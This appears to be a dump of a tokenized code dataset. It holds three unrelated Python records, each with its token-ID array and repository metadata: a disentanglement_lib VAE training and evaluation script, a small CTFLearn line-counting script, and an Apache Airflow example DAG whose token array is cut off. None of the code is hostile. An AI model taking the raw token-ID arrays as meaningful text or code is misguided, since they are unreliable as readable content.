"reconstruction_loss.loss_fn = @" + args.recons_type ] train.train_with_gin(model_dir, args.overwrite, [args.model_gin], gin_bindings) # We fix the random seed for the postprocessing and evaluation steps (each # config gets a different but reproducible seed derived from a master seed of # 0). The model seed was set via the gin bindings and configs of the study. random_state = np.random.RandomState(0) # We extract the different representations and save them to disk. postprocess_config_files = sorted(study.get_postprocess_config_files()) for config in postprocess_config_files: post_name = os.path.basename(config).replace(".gin", "") print("Extracting representation " + post_name + "...") post_dir = os.path.join(output_directory, "postprocessed", post_name) postprocess_bindings = [ "postprocess.random_seed = {}".format(random_state.randint(2**32)), "postprocess.name = '{}'".format(post_name) ] postprocess.postprocess_with_gin(model_dir, post_dir, args.overwrite, [config], postprocess_bindings) # Iterate through the disentanglement metrics. eval_configs = sorted(study.get_eval_config_files()) blacklist = ['downstream_task_logistic_regression.gin'] # blacklist = [ # 'downstream_task_logistic_regression.gin', 'beta_vae_sklearn.gin', # 'dci.gin', 'downstream_task_boosted_trees.gin', 'mig.gin', # 'modularity_explicitness.gin', 'sap_score.gin', 'unsupervised.gin' # ] for config in postprocess_config_files: post_name = os.path.basename(config).replace(".gin", "") post_dir = os.path.join(output_directory, "postprocessed", post_name) # Now, we compute all the specified scores. for gin_eval_config in eval_configs: if os.path.basename(gin_eval_config) not in blacklist: metric_name = os.path.basename(gin_eval_config).replace( ".gin", "") print("Computing metric " + metric_name + " on " + post_name + "...") metric_dir = os.path.join(output_directory, "metrics", post_name, metric_name) eval_bindings = [ "evaluation.random_seed = {}".format( random_state.randint(2**32)), "evaluation.name = '{}'".format(metric_name) ] evaluate.evaluate_with_gin(post_dir, metric_dir, args.overwrite, [gin_eval_config], eval_bindings) # We visualize reconstructions, samples and latent space traversals. visualize_dir = os.path.join(output_directory, "visualizations") visualize_model.visualize(model_dir, visualize_dir, args.overwrite) if __name__ == "__main__": main()
[ 1, 529, 276, 1112, 420, 29958, 17599, 1314, 262, 29939, 326, 562, 29914, 29934, 314, 709, 13, 29937, 14708, 4855, 29914, 2109, 29914, 4691, 13, 29937, 29899, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 13, 29937, 1405, 29889, 15513, 15513, 15513, 15513, 15513, 15513, 15513, 15513, 15513, 15513, 15513, 15513, 15513, 15513, 15513, 13, 29937, 10413, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1159, 13, 29937, 887, 1122, 4017, 263, 3509, 310, 278, 19245, 472, 13, 29937, 1732, 597, 1636, 29889, 4288, 29889, 990, 29914, 506, 11259, 29914, 27888, 1430, 1660, 29899, 29906, 29889, 29900, 13, 13, 29937, 11474, 3497, 4408, 29901, 1667, 29889, 2272, 13, 29937, 11474, 6760, 362, 4712, 29901, 29871, 29900, 29955, 29899, 29900, 29929, 29899, 29906, 29900, 29906, 29900, 13, 29937, 11474, 9208, 3382, 2164, 29901, 12178, 29871, 29896, 29929, 29639, 29871, 29906, 29900, 29906, 29900, 29871, 29900, 29900, 29901, 29906, 29941, 29901, 29900, 29906, 319, 29923, 1254, 13, 29937, 11474, 13361, 29901, 529, 5813, 29958, 13, 29937, 869, 29966, 19423, 19423, 19423, 19423, 19423, 19423, 19423, 19423, 19423, 19423, 19423, 19423, 19423, 19423, 19423, 13, 15945, 29908, 13, 6330, 6694, 363, 6431, 29963, 16036, 29889, 13, 3399, 27942, 287, 515, 766, 296, 574, 944, 29918, 1982, 29889, 13, 15945, 29908, 13, 13, 29937, 1334, 2318, 599, 278, 24802, 472, 278, 2246, 29889, 13, 3166, 4770, 29888, 9130, 1649, 1053, 8380, 29918, 5215, 13, 3166, 4770, 29888, 9130, 1649, 1053, 8542, 13, 3166, 4770, 29888, 9130, 1649, 1053, 1596, 29918, 2220, 13, 5215, 2897, 13, 5215, 10876, 13, 29937, 24505, 766, 296, 574, 944, 29918, 1982, 304, 2224, 29889, 13, 9675, 29889, 2084, 29889, 7851, 29898, 13, 268, 29900, 29892, 13, 1678, 2897, 29889, 2084, 29889, 7122, 29898, 359, 29889, 2084, 29889, 25721, 29898, 359, 29889, 2084, 29889, 25721, 29898, 359, 29889, 2084, 29889, 6370, 2084, 22168, 1445, 1649, 876, 511, 13, 462, 525, 2218, 296, 574, 944, 29918, 1982, 8785, 13, 3166, 766, 296, 574, 944, 29918, 1982, 29889, 2917, 1053, 18532, 13, 3166, 766, 296, 574, 944, 29918, 1982, 29889, 24219, 362, 1053, 14707, 13, 3166, 766, 296, 574, 944, 29918, 1982, 29889, 24219, 362, 29889, 2527, 10817, 1053, 3667, 29879, 13, 3166, 766, 296, 574, 944, 29918, 1982, 29889, 23515, 29889, 348, 9136, 11292, 1053, 7945, 13, 3166, 766, 296, 574, 944, 29918, 1982, 29889, 23515, 29889, 348, 9136, 11292, 1053, 2947, 29872, 13, 3166, 766, 296, 574, 944, 29918, 1982, 29889, 2490, 19170, 1053, 1400, 5014, 13, 3166, 766, 296, 574, 944, 29918, 1982, 29889, 13239, 1053, 20431, 29918, 9902, 13, 3166, 766, 296, 574, 944, 29918, 1982, 29889, 20119, 675, 1053, 7604, 675, 29918, 4299, 13, 3166, 766, 296, 574, 944, 29918, 1982, 29889, 13239, 1053, 7788, 13, 5215, 1852, 5510, 13, 5215, 13149, 13, 5215, 12655, 408, 7442, 13, 5215, 26110, 29889, 12667, 29889, 29894, 29896, 408, 15886, 13, 5215, 330, 262, 29889, 13264, 13, 13, 3166, 4733, 1053, 6431, 29963, 16036, 13, 3166, 6956, 1973, 1053, 2318, 29918, 20580, 29918, 3977, 6119, 29892, 2318, 29918, 311, 20580, 29918, 7099, 6119, 13, 3166, 3667, 29879, 1053, 903, 710, 29918, 517, 29918, 11227, 13, 13, 13, 1753, 1667, 7295, 13, 1678, 13812, 353, 1852, 5510, 29889, 15730, 11726, 29898, 8216, 2433, 7653, 6139, 29889, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 2914, 29918, 3972, 742, 13, 462, 4706, 1371, 2433, 12191, 3884, 29889, 742, 13, 462, 4706, 1134, 29922, 710, 29892, 13, 462, 4706, 2322, 2433, 29914, 29885, 593, 29914, 29882, 1289, 29914, 20095, 29918, 9902, 29914, 29934, 314, 709, 29914, 29879, 705, 1022, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 18082, 29891, 742, 13, 462, 4706, 1371, 2433, 1170, 310, 278, 6559, 29889, 742, 13, 462, 4706, 1134, 29922, 710, 29892, 13, 462, 4706, 2322, 2433, 348, 9136, 11292, 29918, 18082, 29891, 29918, 29894, 29896, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 4299, 29918, 5359, 742, 13, 462, 4706, 1371, 2433, 1170, 310, 278, 330, 262, 2295, 29889, 742, 13, 462, 4706, 1134, 29922, 710, 29892, 13, 462, 4706, 2322, 2433, 1688, 29918, 4299, 29889, 5359, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 4299, 29918, 978, 742, 13, 462, 4706, 1371, 2433, 1170, 310, 278, 1904, 29889, 742, 13, 462, 4706, 1134, 29922, 710, 29892, 13, 462, 4706, 2322, 2433, 4782, 29963, 16036, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 1564, 29872, 29918, 3571, 742, 13, 462, 4706, 1371, 2433, 29933, 1187, 29899, 29963, 16036, 21762, 29889, 742, 13, 462, 4706, 1134, 29922, 710, 29892, 13, 462, 4706, 2322, 2433, 29896, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 5819, 567, 742, 13, 462, 4706, 1371, 2433, 26322, 546, 16744, 310, 1162, 29918, 2922, 29918, 720, 29918, 23579, 29918, 26776, 29889, 742, 13, 462, 4706, 1134, 29922, 710, 29892, 13, 462, 4706, 2322, 2433, 29896, 29918, 29896, 29918, 29896, 29918, 29896, 29918, 29896, 29918, 29900, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 957, 3539, 742, 13, 462, 4706, 1371, 2433, 8809, 1979, 304, 26556, 1962, 3884, 29889, 742, 13, 462, 4706, 1134, 29922, 29918, 710, 29918, 517, 29918, 11227, 29892, 13, 462, 4706, 2322, 29922, 8824, 29897, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 24713, 742, 13, 462, 4706, 1371, 2433, 16390, 24541, 29889, 742, 13, 462, 4706, 1134, 29922, 710, 29892, 13, 462, 4706, 2322, 2433, 6289, 558, 3246, 29918, 8159, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 276, 3200, 29918, 1853, 742, 13, 462, 4706, 1371, 2433, 1123, 3075, 4080, 6410, 1134, 29889, 742, 13, 462, 4706, 1134, 29922, 710, 29892, 13, 462, 4706, 2322, 2433, 5892, 5059, 492, 29918, 6758, 1495, 13, 1678, 6389, 353, 13812, 29889, 5510, 29918, 5085, 580, 13, 13, 1678, 396, 29871, 29896, 29889, 19215, 13, 1678, 6559, 353, 18532, 29889, 1254, 29965, 4571, 2890, 29961, 5085, 29889, 18082, 29891, 29962, 13, 1678, 6389, 29889, 5819, 567, 353, 6389, 29889, 5819, 567, 29889, 5451, 877, 29918, 1495, 13, 1678, 1596, 580, 13, 1678, 6559, 29889, 2158, 29918, 2490, 5014, 29918, 2917, 580, 13, 1678, 1596, 580, 13, 1678, 6559, 29889, 2158, 29918, 14513, 29918, 2917, 580, 13, 13, 1678, 330, 13364, 353, 15886, 29889, 2917, 29889, 735, 27910, 29889, 1761, 29918, 14017, 936, 29918, 3359, 1575, 877, 29954, 7056, 1495, 13, 1678, 565, 330, 13364, 29901, 13, 4706, 1018, 29901, 13, 9651, 396, 15447, 29892, 3370, 14321, 4225, 304, 367, 278, 1021, 4822, 22796, 29879, 13, 9651, 363, 330, 3746, 297, 330, 13364, 29901, 13, 18884, 15886, 29889, 2917, 29889, 735, 27910, 29889, 842, 29918, 14834, 29918, 29887, 798, 386, 29898, 29887, 3746, 29892, 5852, 29897, 13, 9651, 16667, 29918, 29887, 13364, 353, 15886, 29889, 2917, 29889, 735, 27910, 29889, 1761, 29918, 1188, 936, 29918, 3359, 1575, 877, 29954, 7056, 1495, 13, 9651, 1596, 29898, 2435, 29898, 29887, 13364, 511, 376, 25847, 936, 22796, 29879, 29892, 613, 7431, 29898, 1188, 936, 29918, 29887, 13364, 511, 13, 462, 29871, 376, 3403, 936, 22796, 29879, 1159, 13, 4706, 5174, 24875, 2392, 408, 321, 29901, 13, 9651, 396, 18914, 14321, 1818, 367, 731, 1434, 22796, 29879, 505, 1063, 16601, 13, 9651, 1596, 29898, 29872, 29897, 13, 13, 1678, 396, 8251, 6694, 3883, 304, 7945, 278, 2888, 1904, 29889, 13, 1678, 565, 6389, 29889, 4299, 29918, 978, 1275, 376, 4782, 29963, 16036, 1115, 13, 4706, 4516, 29918, 978, 353, 376, 4782, 29963, 16036, 29899, 29908, 718, 11663, 1642, 7122, 29898, 5085, 29889, 5819, 567, 29897, 13, 1678, 25342, 6389, 29889, 4299, 29918, 978, 1275, 376, 1564, 29872, 1115, 13, 4706, 4516, 29918, 978, 353, 376, 29931, 347, 29963, 16036, 29899, 29908, 718, 6389, 29889, 1564, 29872, 29918, 3571, 718, 11663, 29908, 718, 6389, 29889, 5819, 567, 29961, 29945, 29962, 13, 1678, 1962, 29918, 12322, 353, 2897, 29889, 2084, 29889, 7122, 29898, 5085, 29889, 2914, 29918, 3972, 29892, 4516, 29918, 978, 29897, 13, 1678, 1904, 29918, 3972, 353, 2897, 29889, 2084, 29889, 7122, 29898, 4905, 29918, 12322, 29892, 376, 4299, 1159, 13, 1678, 330, 262, 29918, 5355, 886, 353, 518, 13, 4706, 376, 4299, 29889, 4299, 353, 12490, 718, 6389, 29889, 4299, 29918, 978, 718, 376, 580, 613, 13, 4706, 376, 1564, 29872, 29889, 3571, 353, 376, 718, 6389, 29889, 1564, 29872, 29918, 3571, 29892, 13, 4706, 376, 4782, 29963, 16036, 29889, 5819, 29918, 3757, 353, 376, 718, 6389, 29889, 5819, 567, 29961, 29900, 1402, 13, 4706, 376, 4782, 29963, 16036, 29889, 5819, 29918, 2922, 353, 376, 718, 6389, 29889, 5819, 567, 29961, 29896, 1402, 13, 4706, 376, 4782, 29963, 16036, 29889, 5819, 29918, 720, 353, 376, 718, 6389, 29889, 5819, 567, 29961, 29906, 1402, 13, 4706, 376, 4782, 29963, 16036, 29889, 5819, 29918, 23579, 353, 376, 718, 6389, 29889, 5819, 567, 29961, 29941, 1402, 13, 4706, 376, 4782, 29963, 16036, 29889, 5819, 29918, 29876, 7582, 353, 376, 718, 6389, 29889, 5819, 567, 29961, 29946, 1402, 13, 4706, 376, 4299, 29889, 8172, 29918, 26776, 353, 376, 718, 6389, 29889, 5819, 567, 29961, 29945, 1402, 13, 4706, 376, 24713, 29889, 978, 353, 18793, 718, 6389, 29889, 24713, 718, 13577, 613, 13, 4706, 376, 276, 3075, 4080, 29918, 6758, 29889, 6758, 29918, 9144, 353, 12490, 718, 6389, 29889, 276, 3200, 29918, 1853, 13, 1678, 4514, 13, 1678, 7945, 29889, 14968, 29918, 2541, 29918, 5359, 29898, 4299, 29918, 3972, 29892, 6389, 29889, 957, 3539, 29892, 518, 5085, 29889, 4299, 29918, 5359, 1402, 13, 462, 308, 330, 262, 29918, 5355, 886, 29897, 13, 13, 1678, 396, 1334, 2329, 278, 4036, 16717, 363, 278, 1400, 19170, 322, 17983, 6576, 313, 4204, 13, 1678, 396, 2295, 4947, 263, 1422, 541, 9483, 15520, 16717, 10723, 515, 263, 5835, 16717, 310, 13, 1678, 396, 29871, 29900, 467, 450, 1904, 16717, 471, 731, 3025, 278, 330, 262, 7868, 886, 322, 2295, 29879, 310, 278, 6559, 29889, 13, 1678, 4036, 29918, 3859, 353, 7442, 29889, 8172, 29889, 17875, 2792, 29898, 29900, 29897, 13, 13, 1678, 396, 1334, 6597, 278, 1422, 22540, 322, 4078, 963, 304, 8086, 29889, 13, 1678, 1400, 5014, 29918, 2917, 29918, 5325, 353, 12705, 29898, 18082, 29891, 29889, 657, 29918, 2490, 5014, 29918, 2917, 29918, 5325, 3101, 13, 1678, 363, 2295, 297, 1400, 5014, 29918, 2917, 29918, 5325, 29901, 13, 4706, 1400, 29918, 978, 353, 2897, 29889, 2084, 29889, 6500, 3871, 29898, 2917, 467, 6506, 17350, 5359, 613, 20569, 13, 4706, 1596, 703, 5647, 1461, 292, 8954, 376, 718, 1400, 29918, 978, 718, 29804, 1159, 13, 4706, 1400, 29918, 3972, 353, 2897, 29889, 2084, 29889, 7122, 29898, 4905, 29918, 12322, 29892, 376, 2490, 5014, 287, 613, 1400, 29918, 978, 29897, 13, 4706, 1400, 5014, 29918, 5355, 886, 353, 518, 13, 9651, 376, 2490, 5014, 29889, 8172, 29918, 26776, 353, 6571, 1642, 4830, 29898, 8172, 29918, 3859, 29889, 9502, 524, 29898, 29906, 1068, 29941, 29906, 8243, 13, 9651, 376, 2490, 5014, 29889, 978, 353, 525, 8875, 29915, 1642, 4830, 29898, 2490, 29918, 978, 29897, 13, 4706, 4514, 13, 4706, 1400, 5014, 29889, 2490, 5014, 29918, 2541, 29918, 5359, 29898, 4299, 29918, 3972, 29892, 1400, 29918, 3972, 29892, 6389, 29889, 957, 3539, 29892, 13, 462, 462, 308, 518, 2917, 1402, 1400, 5014, 29918, 5355, 886, 29897, 13, 13, 1678, 396, 20504, 403, 1549, 278, 766, 296, 574, 944, 21556, 29889, 13, 1678, 19745, 29918, 2917, 29879, 353, 12705, 29898, 18082, 29891, 29889, 657, 29918, 14513, 29918, 2917, 29918, 5325, 3101, 13, 1678, 4628, 1761, 353, 6024, 3204, 5461, 29918, 7662, 29918, 1188, 4695, 29918, 276, 11476, 29889, 5359, 2033, 13, 1678, 396, 4628, 1761, 353, 518, 13, 1678, 396, 525, 3204, 5461, 29918, 7662, 29918, 1188, 4695, 29918, 276, 11476, 29889, 5359, 742, 525, 3571, 29918, 1564, 29872, 29918, 808, 19668, 29889, 5359, 742, 13, 1678, 396, 525, 29881, 455, 29889, 5359, 742, 525, 3204, 5461, 29918, 7662, 29918, 17079, 287, 29918, 28737, 29889, 5359, 742, 525, 29885, 335, 29889, 5359, 742, 13, 1678, 396, 525, 1545, 1070, 537, 29918, 4548, 4019, 2264, 29889, 5359, 742, 525, 29879, 481, 29918, 13628, 29889, 5359, 742, 525, 348, 9136, 11292, 29889, 5359, 29915, 13, 1678, 396, 4514, 13, 1678, 363, 2295, 297, 1400, 5014, 29918, 2917, 29918, 5325, 29901, 13, 4706, 1400, 29918, 978, 353, 2897, 29889, 2084, 29889, 6500, 3871, 29898, 2917, 467, 6506, 17350, 5359, 613, 20569, 13, 4706, 1400, 29918, 3972, 353, 2897, 29889, 2084, 29889, 7122, 29898, 4905, 29918, 12322, 29892, 376, 2490, 5014, 287, 613, 1400, 29918, 978, 29897, 13, 4706, 396, 2567, 29892, 591, 10272, 599, 278, 6790, 19435, 29889, 13, 4706, 363, 330, 262, 29918, 14513, 29918, 2917, 297, 19745, 29918, 2917, 29879, 29901, 13, 9651, 565, 2897, 29889, 2084, 29889, 6500, 3871, 29898, 5359, 29918, 14513, 29918, 2917, 29897, 451, 297, 4628, 1761, 29901, 13, 18884, 12714, 29918, 978, 353, 2897, 29889, 2084, 29889, 6500, 3871, 29898, 5359, 29918, 14513, 29918, 2917, 467, 6506, 29898, 13, 462, 1678, 11393, 5359, 613, 20569, 13, 18884, 1596, 703, 20606, 292, 12714, 376, 718, 12714, 29918, 978, 718, 376, 373, 376, 718, 1400, 29918, 978, 718, 13, 462, 418, 29804, 1159, 13, 18884, 12714, 29918, 3972, 353, 2897, 29889, 2084, 29889, 7122, 29898, 4905, 29918, 12322, 29892, 376, 2527, 10817, 613, 13, 462, 462, 3986, 1400, 29918, 978, 29892, 12714, 29918, 978, 29897, 13, 18884, 19745, 29918, 5355, 886, 353, 518, 13, 462, 1678, 376, 24219, 362, 29889, 8172, 29918, 26776, 353, 6571, 1642, 4830, 29898, 13, 462, 4706, 4036, 29918, 3859, 29889, 9502, 524, 29898, 29906, 1068, 29941, 29906, 8243, 13, 462, 1678, 376, 24219, 362, 29889, 978, 353, 525, 8875, 29915, 1642, 4830, 29898, 16414, 29918, 978, 29897, 13, 18884, 4514, 13, 18884, 14707, 29889, 24219, 403, 29918, 2541, 29918, 5359, 29898, 2490, 29918, 3972, 29892, 12714, 29918, 3972, 29892, 13, 462, 462, 965, 6389, 29889, 957, 3539, 29892, 518, 5359, 29918, 14513, 29918, 2917, 1402, 13, 462, 462, 965, 19745, 29918, 5355, 886, 29897, 13, 13, 1678, 396, 1334, 7604, 675, 17789, 582, 1953, 29892, 11916, 322, 3405, 296, 2913, 13310, 1338, 29889, 13, 1678, 7604, 675, 29918, 3972, 353, 2897, 29889, 2084, 29889, 7122, 29898, 4905, 29918, 12322, 29892, 376, 20119, 17063, 1159, 13, 1678, 7604, 675, 29918, 4299, 29889, 20119, 675, 29898, 4299, 29918, 3972, 29892, 7604, 675, 29918, 3972, 29892, 6389, 29889, 957, 3539, 29897, 13, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 1678, 1667, 580, 13, 2 ]
Programming/simple_programming/fancy_count.py
NovusEdge/CTFLearn_Writeups
0
143721
from time import time def count_stuff(): flag = "" f = open("data.dat", "r"); data = f.read().split("\n") check_zeros = lambda x: x.count('0') % 3 == 0 check_ones = lambda x: x.count('1') % 2 == 0 checked_data = [ line for line in data if (check_ones(line) or check_zeros(line)) and line ] f.close() return len(checked_data) if __name__ == '__main__': start = time() print(f"Flag: {count_stuff()}") print(f"Time Taken: { time() - start }")
[ 1, 515, 931, 1053, 931, 13, 13, 13, 1753, 2302, 29918, 303, 3096, 7295, 13, 1678, 7353, 353, 5124, 13, 1678, 285, 1678, 353, 1722, 703, 1272, 29889, 4130, 613, 376, 29878, 1496, 848, 353, 285, 29889, 949, 2141, 5451, 14182, 29876, 1159, 13, 13, 1678, 1423, 29918, 3298, 359, 29871, 353, 14013, 921, 29901, 921, 29889, 2798, 877, 29900, 1495, 1273, 29871, 29941, 1275, 29871, 29900, 13, 1678, 1423, 29918, 2873, 259, 353, 14013, 921, 29901, 921, 29889, 2798, 877, 29896, 1495, 1273, 29871, 29906, 1275, 29871, 29900, 13, 13, 1678, 7120, 29918, 1272, 353, 518, 1196, 363, 1196, 297, 848, 565, 313, 3198, 29918, 2873, 29898, 1220, 29897, 470, 1423, 29918, 3298, 359, 29898, 1220, 876, 322, 1196, 4514, 13, 1678, 285, 29889, 5358, 580, 13, 13, 1678, 736, 7431, 29898, 11238, 29918, 1272, 29897, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 1369, 353, 931, 580, 13, 1678, 1596, 29898, 29888, 29908, 21979, 29901, 426, 2798, 29918, 303, 3096, 580, 27195, 13, 1678, 1596, 29898, 29888, 29908, 2481, 323, 9424, 29901, 426, 931, 580, 448, 1369, 500, 1159, 13, 2 ]
example_dag.py
grecoe/apache-airflow-dag
0
156612
<filename>example_dag.py<gh_stars>0 # Copyright (c) Microsoft Corporation. All rights reserved. # # Licensed under Microsoft Incubation License Agreement: import os import logging from datetime import datetime, timedelta from dagcontext.airflowutil.varloader import AirflowVarialbeLoader from dagcontext.configurations.constants import Constants from dagcontext.configurations.env_config import EnvironmentConfiguration from tasks.exampletasks import ExampleTasks # Import the right objects based on airflow version 2.2.1 vs 1.10.12 from airflow import DAG try: from airflow.operators.python import PythonOperator except Exception as ex: # pylint: disable=broad-except from airflow.operators.python_operator import PythonOperator log = logging.getLogger(__name__) with DAG( dag_id="context_example", schedule_interval=None, start_date=datetime(2021, 1, 1), catchup=False, dagrun_timeout=timedelta(minutes=60), tags=["demo"], params={"OAK": "Examples"}, ) as dag: # Load up the deployment details for processing environment_config = EnvironmentConfiguration( # Anything you want to load from the os.environ settings environment_variables= [ Constants.OAK_IDENTITY.IDENTITY_ENDPOINT, Constants.OAK_IDENTITY.IDENTITY_HEADER, Constants.OAK_IDENTITY.OAK_HOST ], # Anything you want to load from Airflow variables variable_loader = AirflowVarialbeLoader(), airflow_variables = [ Constants.AIRFLOW_VARS.COGSRCH_SEARCH_INSTANCES ], ) # Set up paths because we'll use them for logging, activity log, xcom passing # where payload > 64KB airlfow_folder = os.getcwd() dag_folder = os.path.join(airlfow_folder, "dags") temp_folder = os.path.join(dag_folder, "tmp/example") if not os.path.exists(temp_folder): os.makedirs(temp_folder) environment_config.update_config(Constants.ENVIRONMENT.WORKING_DIRECTORY, airlfow_folder) environment_config.update_config(Constants.ENVIRONMENT.DAG_DIRECTORY, dag_folder) environment_config.update_config(Constants.ENVIRONMENT.TEMP_DIRECTORY, temp_folder) # Show Context and Get some data show_context = PythonOperator( task_id="show_context", python_callable=ExampleTasks.show_context, op_kwargs=environment_config.get_config(), provide_context=True, ) settings = environment_config.get_config( { Constants.AIRFLOW_CTX.XCOM_TARGET: ["show_context"] } ) consume_xcom = PythonOperator( task_id="consume_xcom", python_callable=ExampleTasks.consume_xcom, op_kwargs=settings, provide_context=True, ) # Dag Flow show_context >> consume_xcom
[ 1, 529, 9507, 29958, 4773, 29918, 24157, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29900, 13, 29937, 14187, 1266, 313, 29883, 29897, 7783, 15025, 29889, 2178, 10462, 21676, 29889, 13, 29937, 13, 29937, 10413, 21144, 1090, 7783, 9266, 431, 362, 19245, 4059, 276, 882, 29901, 13, 13, 5215, 2897, 13, 5215, 12183, 13, 3166, 12865, 1053, 12865, 29892, 5335, 287, 2554, 13, 13, 3166, 12136, 4703, 29889, 1466, 1731, 4422, 29889, 1707, 12657, 1053, 5593, 1731, 9037, 616, 915, 10036, 13, 3166, 12136, 4703, 29889, 2917, 332, 800, 29889, 3075, 1934, 1053, 5798, 1934, 13, 3166, 12136, 4703, 29889, 2917, 332, 800, 29889, 6272, 29918, 2917, 1053, 16738, 8614, 13, 13, 3166, 9595, 29889, 4773, 20673, 1053, 8741, 26249, 13, 13, 29937, 16032, 278, 1492, 3618, 2729, 373, 4799, 1731, 1873, 29871, 29906, 29889, 29906, 29889, 29896, 7186, 29871, 29896, 29889, 29896, 29900, 29889, 29896, 29906, 13, 3166, 4799, 1731, 1053, 360, 10051, 13, 13, 2202, 29901, 13, 1678, 515, 4799, 1731, 29889, 3372, 4097, 29889, 4691, 1053, 5132, 26486, 13, 19499, 8960, 408, 429, 29901, 29871, 396, 282, 2904, 524, 29901, 11262, 29922, 6729, 328, 29899, 19499, 13, 1678, 515, 4799, 1731, 29889, 3372, 4097, 29889, 4691, 29918, 6891, 1053, 5132, 26486, 13, 13, 1188, 353, 12183, 29889, 657, 16363, 22168, 978, 1649, 29897, 13, 13, 2541, 360, 10051, 29898, 13, 1678, 12136, 29918, 333, 543, 4703, 29918, 4773, 613, 13, 1678, 20410, 29918, 19207, 29922, 8516, 29892, 13, 1678, 1369, 29918, 1256, 29922, 12673, 29898, 29906, 29900, 29906, 29896, 29892, 29871, 29896, 29892, 29871, 29896, 511, 13, 1678, 4380, 786, 29922, 8824, 29892, 13, 1678, 12136, 3389, 29918, 15619, 29922, 9346, 287, 2554, 29898, 1195, 2667, 29922, 29953, 29900, 511, 13, 1678, 8282, 29922, 3366, 17482, 12436, 13, 1678, 8636, 3790, 29908, 29949, 22311, 1115, 376, 1252, 9422, 10758, 13, 29897, 408, 12136, 29901, 13, 13, 13, 1678, 396, 16012, 701, 278, 18209, 4902, 363, 9068, 13, 1678, 5177, 29918, 2917, 353, 16738, 8614, 29898, 13, 4706, 396, 530, 1541, 292, 366, 864, 304, 2254, 515, 278, 2897, 29889, 21813, 6055, 13, 4706, 5177, 29918, 20897, 29922, 518, 13, 9651, 5798, 1934, 29889, 29949, 22311, 29918, 1367, 3919, 11937, 29889, 1367, 3919, 11937, 29918, 1430, 11191, 6992, 29911, 29892, 13, 9651, 5798, 1934, 29889, 29949, 22311, 29918, 1367, 3919, 11937, 29889, 1367, 3919, 11937, 29918, 23252, 1001, 29892, 13, 9651, 5798, 1934, 29889, 29949, 22311, 29918, 1367, 3919, 11937, 29889, 29949, 22311, 29918, 20832, 13, 4706, 21251, 13, 4706, 396, 530, 1541, 292, 366, 864, 304, 2254, 515, 5593, 1731, 3651, 13, 4706, 2286, 29918, 12657, 353, 5593, 1731, 9037, 616, 915, 10036, 3285, 13, 4706, 4799, 1731, 29918, 20897, 353, 518, 13, 9651, 5798, 1934, 29889, 29909, 8193, 29943, 27998, 29918, 26865, 29903, 29889, 3217, 10749, 29934, 3210, 29918, 1660, 1718, 3210, 29918, 25580, 2190, 27266, 13, 4706, 21251, 13, 1678, 1723, 13, 13, 1678, 396, 3789, 701, 10898, 1363, 591, 29915, 645, 671, 963, 363, 12183, 29892, 6354, 1480, 29892, 921, 510, 6819, 13, 1678, 396, 988, 20092, 1405, 29871, 29953, 29946, 26067, 13, 1678, 4799, 29880, 29888, 340, 29918, 12083, 353, 2897, 29889, 657, 29883, 9970, 580, 13, 1678, 12136, 29918, 12083, 353, 2897, 29889, 2084, 29889, 7122, 29898, 1466, 29880, 29888, 340, 29918, 12083, 29892, 376, 29881, 810, 1159, 13, 1678, 5694, 29918, 12083, 353, 2897, 29889, 2084, 29889, 7122, 29898, 24157, 29918, 12083, 29892, 376, 7050, 29914, 4773, 1159, 13, 13, 1678, 565, 451, 2897, 29889, 2084, 29889, 9933, 29898, 7382, 29918, 12083, 1125, 13, 4706, 2897, 29889, 29885, 12535, 12935, 29898, 7382, 29918, 12083, 29897, 13, 13, 1678, 5177, 29918, 2917, 29889, 5504, 29918, 2917, 29898, 26570, 29889, 25838, 8193, 1164, 13780, 29889, 11686, 29968, 4214, 29918, 4571, 26282, 18929, 29892, 4799, 29880, 29888, 340, 29918, 12083, 29897, 13, 1678, 5177, 29918, 2917, 29889, 5504, 29918, 2917, 29898, 26570, 29889, 25838, 8193, 1164, 13780, 29889, 7698, 29954, 29918, 4571, 26282, 18929, 29892, 12136, 29918, 12083, 29897, 13, 1678, 5177, 29918, 2917, 29889, 5504, 29918, 2917, 29898, 26570, 29889, 25838, 8193, 1164, 13780, 29889, 4330, 3580, 29918, 4571, 26282, 18929, 29892, 5694, 29918, 12083, 29897, 259, 13, 13, 1678, 396, 7704, 15228, 322, 3617, 777, 848, 13, 1678, 1510, 29918, 4703, 353, 5132, 26486, 29898, 13, 4706, 3414, 29918, 333, 543, 4294, 29918, 4703, 613, 13, 4706, 3017, 29918, 4804, 519, 29922, 14023, 26249, 29889, 4294, 29918, 4703, 29892, 13, 4706, 1015, 29918, 19290, 29922, 20944, 29918, 2917, 29889, 657, 29918, 2917, 3285, 13, 4706, 3867, 29918, 4703, 29922, 5574, 29892, 13, 1678, 1723, 13, 13, 1678, 6055, 353, 5177, 29918, 2917, 29889, 657, 29918, 2917, 29898, 13, 4706, 426, 13, 9651, 5798, 1934, 29889, 29909, 8193, 29943, 27998, 29918, 1783, 29990, 29889, 29990, 19795, 29918, 29911, 1718, 7194, 29901, 6796, 4294, 29918, 4703, 3108, 13, 4706, 500, 13, 1678, 1723, 13, 1678, 29151, 29918, 29916, 510, 353, 5132, 26486, 29898, 13, 4706, 3414, 29918, 333, 543, 3200, 2017, 29918, 29916, 510, 613, 13, 4706, 3017, 29918, 4804, 519, 29922, 14023, 26249, 29889, 3200, 2017, 29918, 29916, 510, 29892, 13, 4706, 1015, 29918, 19290, 29922, 11027, 29892, 13, 4706, 3867, 29918, 4703, 29922, 5574, 29892, 13, 1678, 1723, 13, 13, 1678, 396, 360, 351, 22787, 13, 1678, 1510, 29918, 4703, 5099, 